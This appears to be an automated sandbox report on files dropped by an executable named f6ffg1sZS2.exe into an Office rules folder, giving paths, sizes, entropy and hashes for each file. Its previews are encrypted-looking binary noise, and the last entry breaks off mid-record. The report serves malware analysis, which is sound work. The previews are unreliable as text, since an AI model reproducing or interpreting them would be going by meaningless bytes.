Encrypted:	false
SSDEEP:	96:PiYQUcyXYV67KRKkKi0f33qJYKmqH7ulA3q:vlcDV67KRKqxJYKBHQA3q
MD5:	577F645FA23F0C53DF53B362C59DE8EF
SHA1:	6636AFA80BFB4E958157C8DA2E6545A21F1B4B90
SHA-256:	27A5C2AEEB534994C8773A5771EF02E8C1872088C65B8F4F965EBB2A0679606B
SHA-512:	32DB8302866C481B0A943D638601A3C90E02DF764FD130E6FACA4E0874ABCFDD280457A00E0574D68A0B96B501F56573E3E13AD3AF0657BAFD489A185AF2DA12
Malicious:	false
Preview:	<?xml...E\|.l.....kE.....J..t.7.z.~...>8.}.L.#..F......T.....n.e$..rD%t..(...xX../s..6.......+K.....T.n.......q....1E[.J...=(...t.f.{x..~..4WJy$.n..NSM,.Z{..H...q..O..73g...?.......P...Q...>.IV. ..1 ...LJ8. ...4...Ue....2".......q...t..o....2;..~.....C.W.2k..Rh.A..ZY..i7........-....:\|...I.z.`.^,.Y..(.......)Ba.:...).S..".A.X.;.O...7/......].#.l.Cl...e.X...b5.x....H...G....+..4XU.....'CWx`^o%.s.U.v3l;.....Q...\..k.cLR..4..o Q....+.A=...B.EA..../".`WoXO.<E.s..+.B..2N.<..3.`...P..........Z..Cd...a.........D....T.:...<.....~.>\$.i......q<D......:..@..{.........y.....w..W....ih.}..w8...I...\...P.~..\x%..+N{.....t....PH...C....H.......N7c...~.P..\|..zO.R\.... .+6?t.....L.{p.#...f....s.rsA.'.p........y5G.p.o....@.@.\|hDY..<.Ls.9...u ......Lr..I.l.f..-$..: _..@.....<.+..P.+.<...q5.?.H.{;.b' H1.hoE.t..v.9..^.U..\|...[.....G^.I5m.\..... ...D.+...`.B.....!.......V.n......X.....v.A..Xg..r...L.p..x.mQ:.Z.$... D.8.GI..3...$B..b4k:...l...\|....h.d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.712614620319106
Encrypted:	false
SSDEEP:	12:pwWUj3bZh8Omh+VTu0awNAg/UZuwHUYr/YgQuK7lN9AS2cii9a:+FbPhs0OZrZ/Y7Z7lN9obD
MD5:	E9F8526877249BF8B2269E763EB76341
SHA1:	944BFF98047D7A68B53ECFA1C136FC80099B3B6F
SHA-256:	B782ED744C8684B525656B9FEA513660EDCD4A1B8B14C922894517C61DC6CFB3
SHA-512:	B99E31C32EDE69972FE741A814E89FDA39AFF07DCABA718DAA949E34EDC61D5981BDD8ED93D3745B1ADE0A7808EF35B58ECFF4FC1D52D5A003A3BFA065F1A56F
Malicious:	false
Preview:	<?xml;.._...g$6H.K+.=_,.6`.:c....n.......S."......)0.U$.G..].d...F~i`o3..W.$.\|.....F5r.m...5...y........a..#.V... .b.........M..1..ES...M.3m...M.....;.m...+.'\|Sf..?t!..a....i;.\.....,q/5#O...,.0...'. DP8q0..yl.Y.JB...T..2A-;.....!x~....K..o..6.2...]uS......it. ....00..l.L...l?......pn.. .-@gt..>.$.....h#..v..3#8~U'.0X.9x.......+....@2.l&dj.=....uod?...LZ...C..aq^r....h4..U7..1.u........$=...<.3. /.._Ot..NWU.6+......c{c?}.U..A.....@.o>4.l.]/....G.t....Z...i...}..uS...H.'.V...~.<./...J..,...~.t.{..."=.4/Y....r.Ms..z..,]X..z!CI.M...s.w..$....$_.lt.?.*....E..G..^.y.O..f....m..A..{q....a.W.7.2.....g..z.^0<8(.1.z.....oV;Sne...ULQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.854089521889507
Encrypted:	false
SSDEEP:	24:1JFpVKXRKT+09m7aAsEDhwQQe/enPzedJ9kT5+LJ8ktiviTWJbMTiYgV+gUdVbD:1J5G0E7FdhMe/YPmXeoVSNMTiXIxFD
MD5:	8849A05B8D246086267DF4DEF3B302B8
SHA1:	5168ACA75FD7A135D891B3C80B8B524198B89F88
SHA-256:	38A070AFD104117B6CD0753E44FA6FE3BEC8D59C546A536B634BD8E4AC57C149
SHA-512:	0654964B1A9E98F55F0C00CCB060A651E5F6C809EEAF2C9243418B57D7614EC619E5FB0F4628CD5D97FC7202C5C455ADFC14750818F811994F9AF9EE33E0ECF2
Malicious:	false
Preview:	<?xml.9W$W.\Ym..F.3H0..9\>o.<..>.9S...U$v..G5y.ZQxLL9........z...k.b...p.(E-0qA.K7...&..Z..p.....;.%R....3..N...2{.\".1...A.......Jy..#....#..V&.....X.8\.....mm.........&..y.UP7.`l..r...g.pL.+...Oad...t.$p,......j.... Ls..............l.}.gf..U.}..-I......U3.....D.5.<.:.3.q.dv...9...um.(.F.xD7.p..G.3b.4w.Q...`.!$.(Z.^.;....K.....C..,U5ui..e...}.~}.8..E...........`.I.E..i?{3.....u...G..&P>:...#...P...\|.7VP{..N@..`.@.&........._...p-...B...(.d..8A.{8......:3.......K..4.uX..o..W.........>..zF.9....k..f.:.sp..4[..a..~}.gL..9Jvb.>.SN.L3.{..%....I.BJ..S.'BM..Wx#..5/g6.gA..bMN.$q.OE..d.P.Z5......F.a.[.Y...7:..\|.Y.a..H.1.........]..'...o(X.K.._.l..f........w.oAG..)..?U.IG8.j...(..r.t~K3[...GFn..)X..#..@..X.L9. .vr...U..3....!....D..../..ZRg..3....]E.....>.......o...y......... 0...p{.a/..hr.'.Bl.l+..X..\0...4."x....6...#.u.'T.E.3..C..V.7..r.w../.\|...qG@.`..Ykqvm..N..?.c.A...&..i.....9a..J.d..,...k.....P,:.rX.S.BVJ....+....^H.*..5C..\_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.720445429472722
Encrypted:	false
SSDEEP:	24:J5G9EZwjBgkjtUkC78L3j26oGia2lFQvpc545Cn5/bD:j2ESjBtWkCwL3/iSvpqZD
MD5:	FE5AABC08687A9260F1C9969B8531C3F
SHA1:	31F95FB6427D10213655AEE635F8E3FC0A1E85CF
SHA-256:	AFEA5E13DFE313F49BDD5DC80219AA4D5E3DCE9872C0354750A49FD9DD303E4F
SHA-512:	E7688BF402BF6E6728AFE50CB978AA3D5AFF3B3221D34F1A0B71D779DCB22D3CBEC5AC9EE456C10D00C5C24430856E00E8C449A4FDB7D33C9A221BD7F6661280
Malicious:	false
Preview:	<?xml.tV.....3..)v.@.u.S....`tE..J(.W.....m.a$]g._.>lg...#........b..(;z...A..8..b.L.I..e.....v.Jaro....n1..?...2.5.5.{4..p+...-.h.K>Lq..o.[h.e5..W1.l8....\..8.qq."FTT...8.gy.YB.uw_j.Xe..=...\..d....86J.../f.{. ^<..v.P..X61..:D...\..1.#,d1..?=-\:3K.jGq2...Or..f.h.......a3.8..AS.(.W.........J..,.'2..zVj[.4.( )....Q....=.o.Rf...J......v;.....}......Oe.....$.h.0J....M...i7.1.qr.Pn.V,......".v%.,.J..H.Eo)1qS.1..p.}.?..[.U..)..!...k..:E%..0+.....)Q..:.EC.>..7..Mw..9...bH..R..........8t.C...S?.J`jy....&.6..X.:.<t..].y3..\|............C9BG.g........B"@.am].. ......s\|D.R....-mnPU;ZO.........5..V._.x..A..t...i.....o..o=.9p#....1..@f.....(FXS$.h/.(....IKibM....P...Z.W....d.Kzz.h..$...F...I...`..~m.3./.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.773502092599201
Encrypted:	false
SSDEEP:	24:x9MT4Frt6KdEkWjzDoT8gmzsGOIu9AsO14dbD:kTMt6KykT81zsGGpkuD
MD5:	4D73A02CE816085EF1245037A59DD031
SHA1:	97588BD40896C8EEE07069EBA8769B3D8B2ACD0F
SHA-256:	C3FC33350B91BAC2009B5EA788EF248E69739D2D55D4F982DFE27635184CF39C
SHA-512:	7F1860393B0DB10B7735E11C15DDFF13939161268D5E80D68BB1D69EE416E1E215D6092B36BBD853786D63EFC75F63D7CD5953D63FAF1F5E92561EB3350D1778
Malicious:	false
Preview:	<?xml.YV?.....G....*..^.G.i......!X.4..<.A..?A.........w.._5V.L.;...0W........<.....W...& ...?..Dp;.......=.j...G~....],....s.}.X.>.m......1...Ip....j.<[..h......}x.M.h._CX...`K.\..[qtgt,Ud".H$.`...k..zc....FR...q..........ay]....36gx.$i..~.8...y.D..9....BD....$oV\..l....T@....SQS....OtT....S.-gM)''.......(..a..-..4.g....eE/.....LL..y..R7......Ud?@.?....:.$.c+......m.&.&I[....a..v.@..j..R#.;...xo..m.......T.K9;g$.-F.\|.k.S.......i..PS<......FNq=....=.:.....@.U.2.h.O..=.kC.6i....v'?.[.Z%I....{..2{4..+e.....O....2.................. .y...J<7.Dk.......R....\..N.Y<.....cT.Y.........\UFrN.ES.}.Q.%U......P.xmU.+\.4\|`a.].,.4cV.XI1.k.h.".K...Ua_...x..aL.qh6"-R.fO."U..H..(.=......&.6.............0.V.<....5....6.\..T....c.j..R......U.....4..A5[.U..R.... .o5.......5.0.[...\|....O....u)MV..Q./..r..a.8^....I(...O.I.7.M.)..L. ..t2....V...R.y..w7.Z.]..h.SB..Dg.....G..k+..L0..k..3.X.9.}.O.........C.,......]..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.824704826197781
Encrypted:	false
SSDEEP:	24:izhsLfb6HtxXnVq3yI15qQ8NNxxGiX6iI5Bgps6iwsdSjieG27gCXVnLz1WbD:iub6HtzI15bYhKiIfgps6iws0CcgCXVa
MD5:	BB2D3655FAC6F54E57A29CA64C47A093
SHA1:	C6E99DBB5D9245789E14F04B9AC0FBE00FBAEDCF
SHA-256:	1EA66A4402D634D13E467DFEB0AEABC76E0FEE30D816E6918A5CC9EC5D8760F1
SHA-512:	6D88051498E32BD34B80EAC16F9F1D93B13763FC917AC3BE78CA15CDED1CC34CCFAAE115FDACA622C4367D3DB93A495AB60438AC3275CFE53BF05F1A12973E86
Malicious:	false
Preview:	<?xml..J...V. S:35y........4._.._.G./.p.?.`,}..z.....z.}....K=.....@.K.`......,.k....>B...VAd..E\..I^5.xmi.U>`.i..........[.na..J~'OC.q......-.+.E..^>...Q.......(o...'.\|...Cwgi{.V>+b.q....a....^..g[7Gu...'....w.y..#..k.=.\.........[..OL.....:...b...Z\|...{...7"..t..!...L..6..XC.>. Y.A.d..v.muE.=.V7....&A.].n..A.F.S.e^m.(......0..G....u"?.F......sQw.p.s}".K.s7w_..f..k [.I6...............\|>..q..$. ..h......R.l.. .H9&.#~.9.h....>.."...%~....i.".R....y./..2.v.I..2....}..?.p.:"..D...0.,`6.o..q.. .e.....}D.H...F(.%`.._...'.\|.WuJ..o}.2>&..'..{a.....?.N...Ad.l....gO.".Hx...L.$g.G...`........V.R..&...OE...=.m D>V C...k.9.P.u!.j6..._.S......E.M.H.er....aX.&.S...D.B.N.S.Ij`81...-.. ..S....?.A...].+NM...?]dI....fF..>x... 9..V.l......)5V.wU...5.p.]..;....N.0.K4.W.....)..).n...$A..wSd_.....m.". .Z.J..c..?..Q..!....[....d\..l.....m....-...\.E.6....l..KO.....u.-...[1)..)\|.x.."w..^....G..v.{.....$TA...r.p..^.n..^.rq...p."..Q...t.W.6g.OY....6.`..........Q$y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.870437907938841
Encrypted:	false
SSDEEP:	48:qcMX8qNWBWB2Mcpe9OomNwB+44rRbwNobQHIpe7oPD:nMMqNWBWcMYe95ICNkQWe7w
MD5:	7839CDB1D61DF8C64827C1D4D67D4ECA
SHA1:	8E0755F8269DDC0553A03038051105CC6BEEA925
SHA-256:	9A88F45763E5DA443596630B563488086DDC093E5C1D2F823D91AD72FE024C5C
SHA-512:	DBB4E9C0BF6EAC37EBDEDD6C1552FB8CBE867F29D28A76D71F0374DD7B01BA63FFDC599DEDEFF30723ACD64B7DDA585D52409AEB4DEFB7958AD786070A6E5E09
Malicious:	false
Preview:	.<?....t.N.U....'..K..(./..-.M..i...Iw...r...... 0..4,....D.).D...6..D`Gq.4..c.7..q.(A;...^.Wt..e.$.Y...?.....])..1.Y..F.....C..}....@..7.9o..\.......el.l.....kQ..............T..tZ....ec...G. .H.@M.VKV....Z8......Zi=..}......4...E..D.'..A.TT...d...R..7Gw...?.....H.Y.,X...]H...w.@..q{....N.W....c.T..mq.bE..NU..XMEq...!...Wj..@.....0.U!&..%=....JL.o...8xu...<.h.n..Isy.I4..Z 3G....!.r`.K..)g`....\.Zo.....>+.r....& .....P.k......Z'...%..a...(.!....U..(...x.hLd..n.{qs...W...r..?......cQ...!.4.@E.S..%..\|.......#V=[.......^...3..Vdz(t..t#...=C<....V.\|Z......E..~...........Q.s7..r........v.K.....R..3.._.:..f..-8......].p..-.V....K..g1.....g`......c.[..&.....w.+....j...0....q.OB.Tw..@..b~....Fx.\|7..cc.L.8a.b.......E....</,...:.....D...m0......)X...F...L.....8..[...._P.3R..=........`v...R.!....gP....R..8..$.anx....=...Km....Q..L..6q.s..O..a.ja4.^....ZV.(..h?.....?I...>..I.....9..'K.yg4..L.8*..U@...!........h.@..e.}.z..z..>.....Z.....Y......X..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.821952356024475
Encrypted:	false
SSDEEP:	24:mqqf9WGpEHFviQGB9EfS4zOfy9Eh/OZqacrMqJEabD:y9GHleEfjk9QcgqbD
MD5:	626B5809913B6DBC96DF5A2506E7BD62
SHA1:	6A484406D5B36FADA058510BD8BDF47F62C574D8
SHA-256:	BBD72A441ABB334B860035E8E60105E9CF91473D19FE0CFEA51D30C2E49929EC
SHA-512:	763C120C021B3237D7264E631DA7AA559FBE75D98FD00950E45B184DE00A438D99B78F012700FC7B1A59B054FF8630401575E87CD31A841470E35483181539B8
Malicious:	false
Preview:	.<?sn-.V.kX\|E...[y..[.=..m-...\|..5.b.`"..Z...L.2.n.%Lz..Q.^(....y..B!..'..h,.Q.>...D....Fu.I.....r.=...m....^....L[.r..[..C./.B&..F.....!..F.fc..^%.Zz..q.`.;;..>s...;$...1.=G....$`h<3...+\|0x..C....y.8..C..+Z.x..n.S.t....[.{.,ZY..k..$.2.A..#b.G...y..H.F..P..(....aWKP....../...T..'.,O.3.......0^4.:...,..;O...J..K.S..........nGH.e.li.....X...1..AF.....)..........8Z1.l..4]o.3O....u.......,....c.u....M.VZ....=v"Jlv.....v....H.X....nw.).a.+.r......../I.\"..c..E.^k..Y-...z..l.>z..Z....@^n.....y..h.~..R.aK..d.s.}.6L..)........B.`Xl.H,.:a.T9 {.{..Cg[oW.9s_. /.k........:9.%.....1.x......w.Fb.-.Op.....6....~.{yY.\|'.......3ec%..+.r..../=....0.....'.(i...f.B...%....Z@.Ph...#.9NMZ.+}.Z.6.c.............AC. ....P=..7...xA.'Cg....b.,.M.9.E....D8Q.g....)V....g.tc.........~.Q....d.H\"G.n*e%.....Z9U....QJ.....W.$q.1.#......~r..f.k....1UYL%8.... ...p........m....s!.......VLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.956348587485952
Encrypted:	false
SSDEEP:	96:rxyQ9eeOT5GWFyCzSvZWwtYVrsL75ibInlEpgQYuSJoBe1mx4wI9:dnSS0oIw/eInlEPSJoiA4wI9
MD5:	C98C7B29B9645A8F0A8B13C2DCCF5541
SHA1:	C81E8D2DEB66724F2B19AA1DAB9CCC92222DD97E
SHA-256:	1FFC2BBC9C54C455C2041CFFC9E07B8B6960B0F5073263806DBDFA778265FFD3
SHA-512:	CF2EB115EA32E497EFD502BB47F02F5F79AC6F6D561377A44FB5EF96CDF26CC1B3B5ECEB6B01FFBD8A5BFAD4A077E4E8BB9699AE06E29B5F0C5A7E7D9626285D
Malicious:	false
Preview:	<?xml..>.......Z...(b.E...^......Hu...P....k.X.N.#~.F\|........H..u.$.3...,.......4.C.%...3...V.UA..g.v ...C&bI"..4M...D.......c....37#..w....g...".E)v..Bqh....G...=R-..L.ve.....]....X...@Yk.6..3..<3.4N.....S....\.5(..\|.W.nS..!.O.<......ri.+.P....{9.....a..D.5... ...C?.q.P....[S`..Pv)....4.~.......M..N"C\|....(..y...c.h. r#.M..f..p..h.z..\....?5w...2e.Y.1t.....Z2....Ub$..9.(.:..l9l#....e..K.Q....(.\|@......!..%dA.J..)...=(.Lpx.F..%._..8A.>.}.5.ZWO..C.4..8.)..q....t.8....\HH.]...)t.._.2.`...G.#.....X%..E.p....U..2).f7Yg.s .7C."X@F.y>.o..Iw.}F..OGf'c..H.;...`...y.Xi^F.h..mz.,~.].Ph.7M.g..L..............i9.f.jw4~..-..^...CSx.b.......t.'fR?..h+.e.mJDB. I#...P.`..S.J.....V.&.........3fM.8...z.R8/{...5m5.0?iu.......1..A.#w..(.H..bqO....g...N..1.....D.P...L......UP.....gb.e...U.7(..rl`.M\p\|v..2lE.#...f...$3R./.m.eR../....,.QK...1. .N.{KE...n X.........f..........,....!.{.~,.C.o_..._...=8.+d.....%(.._......G...U..s. ...6.k....E.J.....:}(......m... ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.929681915981637
Encrypted:	false
SSDEEP:	48:QJYSmvYHEPF1cmV8VaURt0Hpwb8ZH4Y8oQI6472pP3F76rZNRD:QVm7PF1cxaUnweEHv89pfF76bZ
MD5:	DDFE6AB11DD31CE10485F4EAAA36A398
SHA1:	AD3AF9E1C48591C8CD8A8BC53554F41F011B47D2
SHA-256:	F5CC57549789332A30C923A3BADF6C2CEB69DA2C28666AADFE55E28D5330286D
SHA-512:	EDA17DB51267E6C4319A73755D1401A39F942F6218207911A06C11F78259FB742E9D512A877DE0506749871BB738AD7B34A6AA46BD12A83A84A985B82862D9EC
Malicious:	false
Preview:	<?xml-.....O.."o;.......H...4_......U%....W..../..>{.....+.D.d2...`..`BL.#i...r..:~m......Q^a.[.&.OW.... c.....i4....K.3+.......6.~..H..hy22.aW...?.=y\|....C7.......T(q.tf..H...!..........y. M.2!jA0...K......~..7\->...z..H.#1.C!?.!w.Z..=.F..T.}.....u.....\.......GH....1.....}..j..u?....$.B?...;e..5.....`y0..TP.E....f.e...-W..(.8...@....YR:....+r...L.1.A]C.G+...M....#..{.s$b...PTR....x"..\|...$3]O.K.D....-.>E1..s..).=.0..W.'..N..au.!..f.rl.=.....$.C...O6.\|s].I...V..q[B..`N.....O........... U.R..=.3...O9..o..F...HYp...Wm.\|W.O:.b...Vo.....4..De..vr..F2....'..Gy7OrRZ..Q.p..a.~.ZD..`.~.9O...p..=.....1....N...4.9........%......G.z.h..i...3...1W[.1...F../}...-n..R..........z...I)1.F....>.J&.-K.9..t/...m....W....F../...3...2.~.U..D.3y.A.7 Y".. 8..?..(.....94.].\..I..1....p..]..;~...).O.;.5.o^c\|...$..........3'..$.i........z.\.R.M<<..Y..z.dC.k........`.IR.!_F3.......H../`....I67..O..y....N.""9#.u.E...oy.-j&kpYj.\|g.-...'UU.D..F...V..K\|..6.....B..A6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.950102570219217
Encrypted:	false
SSDEEP:	96:MgoLU1tC5UVVz5Qi8tAVbbnONfcB/BP2G/fw0U9zFxF+P:71tHSRy5UkHuG/fwz9z8
MD5:	6C16023076EFC40C8F912C37784CAA95
SHA1:	2A3DC53E314A07B6469D6BC6CF87DDE4B081D63A
SHA-256:	D1836CC8671E4CEF37256B0917B45192B7A56FAC56F6F84D433C4691132B8B3C
SHA-512:	9CE6C6CA5C4307081719CFAC4D7FC274D687C48860570A7B0BD9D4DF3ABAC58E3529D6A4A871BD97C58949EA35222CFC6DFE6ABA71CCC54C05E1609DF7F145A2
Malicious:	false
Preview:	.<?..~..0hs.z......c....O...J.M..L.q.5J....r2.]o.....f^Q.u.G;}..8..Db.S3...........U.P...Z.m.-./.k........).o..&.?..."...."..Iz.w.s....=..8.M<L.....w..t.?.)2f..Gn..Oo.lh.e.z......k.?.,... >t.]W....F.b..>6FH~...537!..s.(kW............;....Y.~.0...z......<.<.Or......C?h..4.C.u}./.c....D..}qjk1l4..F.(.Y.12..q.}We..... .......P.3.m...1xZ.b..\|...X....\....X......L{... .}..Q..5.!+....f3@.....B......;%.Fy..Q0oSl....4Z....`.I...i.X.w...A.........A..iJ.-Xi..LH.H.8......8...(....nV.<.......0..=.q.4_.nF.ct.[....<....t?p..B.4>..{mC..dg.....0pO...O..t.....K.;cd...\|..=n...r0....GF.}h.t(....Y8.83..}...P...V....{..J"g.+..m..`\..^.].>..OU/..2~.@...d...{i.y.0.((..{g}...k...L..k..A.K.....#B...i.....Q...tm;.x/R.F>......T-.\gZ..-b.%.#.D.[.iW..$q..\|...d&k!.8.........@...w....[h.k.rw....Q...K..AS...a...#...A.V....V....+...L.[/.xu.=..E..N...b=.a.Gz....]..]ps.D/......Z..L.S..(K.2 J.:...v.4....b.9...OSh..#.En.@G..m.e..>..]...-r.9].}t%.Mm.W..J...b....rL

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.944948075421989
Encrypted:	false
SSDEEP:	96:CCGZ56meOlSfS6FCIYZA0M3k14CH4tVl9EMo4qBZ:3M6meOlL6FYZA70CCH45/6Z
MD5:	0D875C8540005F1C65921FCB16B529D2
SHA1:	705CB5175C1EDDC73D43257769B66340C1622DC1
SHA-256:	E4278C66204C3C67CFD70FA50A9C32E09C6AF6E979390AD9A5206674B7B5AB25
SHA-512:	726E7AF5028808BC964D3177AEC2EFC9255D4A2FBAC44ED7363CF5D39F9C62CA9923D3D1E30F26B86B73AC2F4CEA5EE3CC16DAD9A310556BD47C72E14F4E38C2
Malicious:	false
Preview:	.<?N..h..+.C........!.E....&2L..u.b...~/S'.^&..D......j....+.rjs.6(}...2V...w.....<..^G9fy.1..+I.T.u..z...W....;......N.,O.3..Ox......>.77i...EovA:...).n1V...._Q/...(K..2.M.d........gW.xr..`.b...........<.)...0.-.b..4...W.$f..6G?>3....C.F..m.....#R.E.s..R.n...8yXt#.j......s./S.. 1.....X...b0..;.a+.H....6.s...[4..EEn.Z.A.......PQ......:...h...~G.....3...O.r[\[C.S.z.&...d.p.~....(...W.J..O.....0..1.p........{k.1...........".g.h..D..l.jT.(....+.]I[Y...n.../..w.;e...$]Z'......6e-.6G.<.-:xL......!...`.N...........b..i....>..L....\|T'...`F.....JI.V\H4.o...27g.mG.._/. ...y..Z.N`e.%.?.q.....I..LH....m.I......e.`....../....0n.lv.y3..Y.......#. .".....0...z<\|dY.!..T.... .... u=6".i..?.......1.l.........o..k.y....;..4..M...^.L..\..619...\|.0}...Q.ez..%3.2...............M.....Q..9(.E7.Q3J0..#....Q...5.fV.Q.-..M9..r.?U.........}.c.x..:%l..X.. ..z.;...\|z..q.3....hsG....F.....`..g\|......}`...`6w...=k./...BWK.{..T.$......`....N^Q\|....c.....X.<B[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.941596457028553
Encrypted:	false
SSDEEP:	96:T16yJ8DTaTtzpwXk0PaLe6JS84fJu6awAWLRT9xWi:TX8DeTxWX9oJS84fZAET9Ii
MD5:	DC0207E877B60DDA7D09284BAC070880
SHA1:	6A5FE190AA16899A85C7B470ED5BD420539392D7
SHA-256:	C0E0321327FBCF59F77102BB41A0B2624C164FA863228861FF86BA4636C37428
SHA-512:	537531BB9099D656B73F095D4148EEBAE609F66921B62DAAC06B9D1F22469082FD8BE7EE78A976B0DCB1ACE7AC4AFD98E9246E478E3776628036A99AF9760421
Malicious:	false
Preview:	.<?.I>[.2.hF...e<(..gvB.=..<.yg{.#..z...tj...i.,.:oK........k......cS.9.&-..pR..h..2.z..M.KAPf.#F.j..B...w.0.N..a\|..O.u.{...G8%X.L......h4i.?q3W....aN&%..w.~.{...Ie...E...mL ..^...<..c.A.l..5..$>.a.a...!t"+".h.c..[.v...mst....P.].U......B.N....u..x....L.+......\|....a.s$..%..8/....t....V..V..L.c....I\.@.$w..#.u....a.OT...Zfg...7........0...pi..]&.....\|.....%..a.%.....m6.>.......(......f....".iTj.{........./...m!../.c.tz...{f.$.vv .p...y...9....'FA1...Q."U.8<A.6..?...._B...E[M./w..ZU.X....D..g.A.P.:...]....g.c7DT.DZ....C....\|K8.Hp.N.'....W.0..EP-.p...I..B.'... \.-k.2Z...A...^f3..L...?.>`5'q.MjI.....}.Y..e..5...$...$.>.F;F.R......Z..8.i.^.A..>._.;.:..F9..t)..w,...29\|..0..1.~...b.c..U.....f..d....2....J.5.E.aw.{;xk......NaA). .2d.........@.....2(5.D....t1.WM.b..p7....Q..6 V`...D.kN.Db@9R._1.6....w>.<V1...87%^{o...\.}j..3;.....:H.-h.w......S...c{1...m.).M..WN.....vp..1..../!..........@(3!.s.z.+........?..e5...k.1.Ml #......E..F.4...I.r*.(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.940639010224403
Encrypted:	false
SSDEEP:	48:Aky+9E3NVj3hlvJEVYmPmQSV9LlKhryQy8HkR6I/yLmGO9azc2MLoD:xy0gJJwmQGAhryNGkRTyLmHaIW
MD5:	CFFCA7C59150313505191D78CB43AFFF
SHA1:	C106881735B938BDF39B9401631E189EC6B62D86
SHA-256:	1A4C89AF94FC6E4D5CD3B31D35C5B80BD7DAE0EDE0C36705A46DD8E9F9C9680C
SHA-512:	29D0B7AEDAA44BE6332BEECFB0E3B948819EE344BE7D3483527ECB4F146B70A654C3A18F74ED79DFAF33DA1CD4E44A73BC13266E6F2B6CA617F124DC842EF0D4
Malicious:	false
Preview:	.<?(....Kw...7p.j.k4...V...Xg.j.o.%4._qC...A<.%h.yG.`...B..Ih..z@.......h4.......C..\...%7.-8.....2........t!...AD.#.1.z........8.!..@.<..FB......a..H.j...#...U%..x.S]..VM..\D...[u...d.L.....L9.Q.P{S.<.h.:...{..\...b.x.fL.&..^..17.i.......r..s.G..^.........C..l.O..'J.q..5..Ed..y\|..r5..S.....(..O...6R6..5...+h.........1....GG....hf.H.Y.#..WG,..!...x<.....}"V.e..C!."..K.2.^..c....W.QY...>ax?.//Z7......<R..B...b.g.d..9.....x"\......f.4..\|d....fDi...Q.(."...._.....+%.....y.<...e...U~W`.._1....o..D_.X....f.>.`.........._/..Y.%..G=....z~.^.Q.......H.b.l..6..>Z!r.%........J.D.X^.V...z5Yhn.....E...fv.....,..7.-..w.wa..:+......PBo.......X...wI.L......~.".G-..N...7.._.F...o=.Z.V.=...m....h..yA...zz(....}H>K..t2`......b..UTy=~.1.q...iy.o ..U.....Z\|....-....7w.\Z......A(..L,..NL.1sip.lXu/"..X...3....~. .P...a..8..RQ..\..s..Q..g..?.Z$.M...m.......Mu.('..j..~.@...X.?......_.=.Z.+...{.........V...g..:DR;.'.\...F...a...0............3...B...I..:i..4..{..>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.922268805749512
Encrypted:	false
SSDEEP:	48:L6jvVciiOCH497Oqec9ad2tFszDIjkl0miZA6g4WWxxID:L6RDw497Oqe2amszwmHWWm+
MD5:	7B2FB68FA0B48AEF3B89D0C12F121895
SHA1:	8225DF4B27C84C4C0BB9BC025BB0CF344F32D2BB
